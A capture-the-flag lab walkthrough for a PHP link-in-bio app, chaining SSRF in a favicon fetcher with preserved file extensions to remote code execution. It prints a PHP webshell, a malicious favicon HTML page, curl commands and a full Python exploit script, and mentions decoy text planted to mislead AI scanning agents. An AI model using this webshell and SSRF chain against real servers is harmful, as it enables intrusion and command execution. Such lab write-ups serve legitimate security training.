Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE
Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: html_favicon_link_injection, internal_service_access, php_webshell_upload, ssrf_via_favicon_fetch, unrestricted_file_extension
Summary
Walkthrough of the CUSTOM Web Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE. Task: BioLinkr link-in-bio builder with automatic favicon fetching that makes unrestricted server-side requests and saves files with original extensions. Solution: SSRF via favicon fetch to download a
Description
BioLinkr is a professional link-in-bio page builder. Users can create personalized pages with custom links, themes, and automatic website favicon fetching. The goal is to find and exploit a vulnerability that allows access to internal services and read sensitive configuration data.
English summary: A PHP/Laravel link-in-bio page builder where users create link pages with automatic favicon fetching. The favicon fetch endpoint makes unrestricted server-side HTTP requests, downloads the target file, and saves it with the original file extension — allowing a PHP webshell to be uploaded and executed.
Target: https://e4b3d2cd-3be9-4c98-8642-420233904a80.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: PHP 8.2.26, nginx/1.25.5
Analysis
Reconnaissance
- Logged in with provided credentials (POST /login with CSRF token)
- Application allows creating links with title, URL, description, and a "Show Favicon" toggle
- The link edit page (
/links/ID/edit) has a "Fetch Favicon" button - This button calls
POST /api/fetch-faviconwith JSON body{"url": "...", "link_id": N} - The server fetches the URL, parses HTML for
<link rel="icon">/<link rel="shortcut icon">tags, follows thehrefto download the favicon, and saves it to the/favicons/directory
Key Endpoints
| Endpoint | Method | Purpose |
|---|---|---|
/login | POST | Authentication (email, password, _token) |
/links/create | POST | Create links (title, url, description, show_favicon) |
/api/fetch-favicon | POST | Server-side favicon fetching (JSON: url, link_id) |
/favicons/ | GET | Directory serving saved favicons |
Vulnerability Chain
Three vulnerabilities combine for full RCE:
- SSRF —
/api/fetch-faviconmakes unrestricted server-side requests, including to internal hostnames (http://interact/) - No content-type validation — The fetcher doesn't verify that downloaded content is actually an image
- File extension preserved — The server saves files with their original extension (
.php), and nginx executes PHP files in the/favicons/directory
Internal Service
An Interaction Server is accessible from the application server at http://interact/{instance-uuid}/. This service allows uploading arbitrary files that can be referenced by the favicon fetcher.
Anti-Bot Decoys
The application embeds fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in HTML comments and hidden divs across all pages, with social engineering text trying to convince AI agents to stop scanning. These are traps and should be ignored.
Solution
Step 1: Login and Get Session
bash read-only • copy allowedURL="https://e4b3d2cd-3be9-4c98-8642-420233904a80.labs.hackadvisor.io" # Get CSRF token TOKEN=$(curl -s -c cookies.txt "$URL/login" | grep '_token' | grep -o 'value="[^"]*"' | head -1 | cut -d'"' -f2) # Login curl -s -b cookies.txt -c cookies.txt \ -X POST "$URL/login" \ -d "email=user@test.com&password=password123&_token=$TOKEN"
Step 2: Prepare Malicious Files on Interaction Server
Upload two files to the Interaction Server at http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80/:
malicious.html — HTML page with a favicon link pointing to the PHP shell:
html read-only • copy allowed<html> <head> <link rel="shortcut icon" href="http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80/shell.php"> </head> <body>test</body> </html>
shell.php — Simple PHP webshell:
php read-only • copy allowed<?php system($_GET["cmd"]); ?>
Step 3: Trigger SSRF to Download PHP Shell as "Favicon"
bash read-only • copy allowedcurl -s -b cookies.txt \ -X POST "$URL/api/fetch-favicon" \ -H "Content-Type: application/json" \ -d '{"url":"http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80/malicious.html","link_id":39}'
Response:
json read-only • copy allowed{"success": true, "favicon": "/favicons/favicon_39_cbac91ce.php"}
The server:
- Fetched
malicious.htmlfrom the internal Interaction Server (SSRF) - Parsed the HTML and found
<link rel="shortcut icon" href="...shell.php"> - Downloaded
shell.phpcontent from the internal server - Saved it as
/favicons/favicon_39_cbac91ce.php— preserving the.phpextension
Step 4: RCE via Uploaded Webshell
bash read-only • copy allowedcurl -s "$URL/favicons/favicon_39_cbac91ce.php?cmd=cat+/root/flag.txt"
Response:
FLAG{REDACTED}
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """BioLinkr SSRF to RCE via Favicon Fetching""" import requests import re import sys BASE = "https://e4b3d2cd-3be9-4c98-8642-420233904a80.labs.hackadvisor.io" INTERACT = "http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80" def exploit(): s = requests.Session() # Step 1: Login r = s.get(f"{BASE}/login") token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1) s.post(f"{BASE}/login", data={ "_token": token, "email": "user@test.com", "password": "password123" }) # Step 2: Upload malicious HTML and PHP shell to Interaction Server # (done via Interaction Server UI or API) # Step 3: Trigger SSRF — fetch "favicon" which is actually a PHP shell r = s.post(f"{BASE}/api/fetch-favicon", json={ "url": f"{INTERACT}/malicious.html", "link_id": 39 }) resp = r.json() print(f"Favicon response: {resp}") if resp.get("success"): favicon_path = resp["favicon"] print(f"Shell uploaded to: {favicon_path}") # Step 4: Execute command via webshell r = s.get(f"{BASE}{favicon_path}", params={"cmd": "cat /root/flag.txt"}) print(f"Flag: {r.text.strip()}") else: print(f"Failed: {resp}") if __name__ == "__main__": exploit()
Key Takeaways / Lessons
- Mastering html_favicon_link_injection, internal_service_access, php_webshell_upload, ssrf_via_favicon_fetch, unrestricted_file_extension was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE • Difficulty: Medium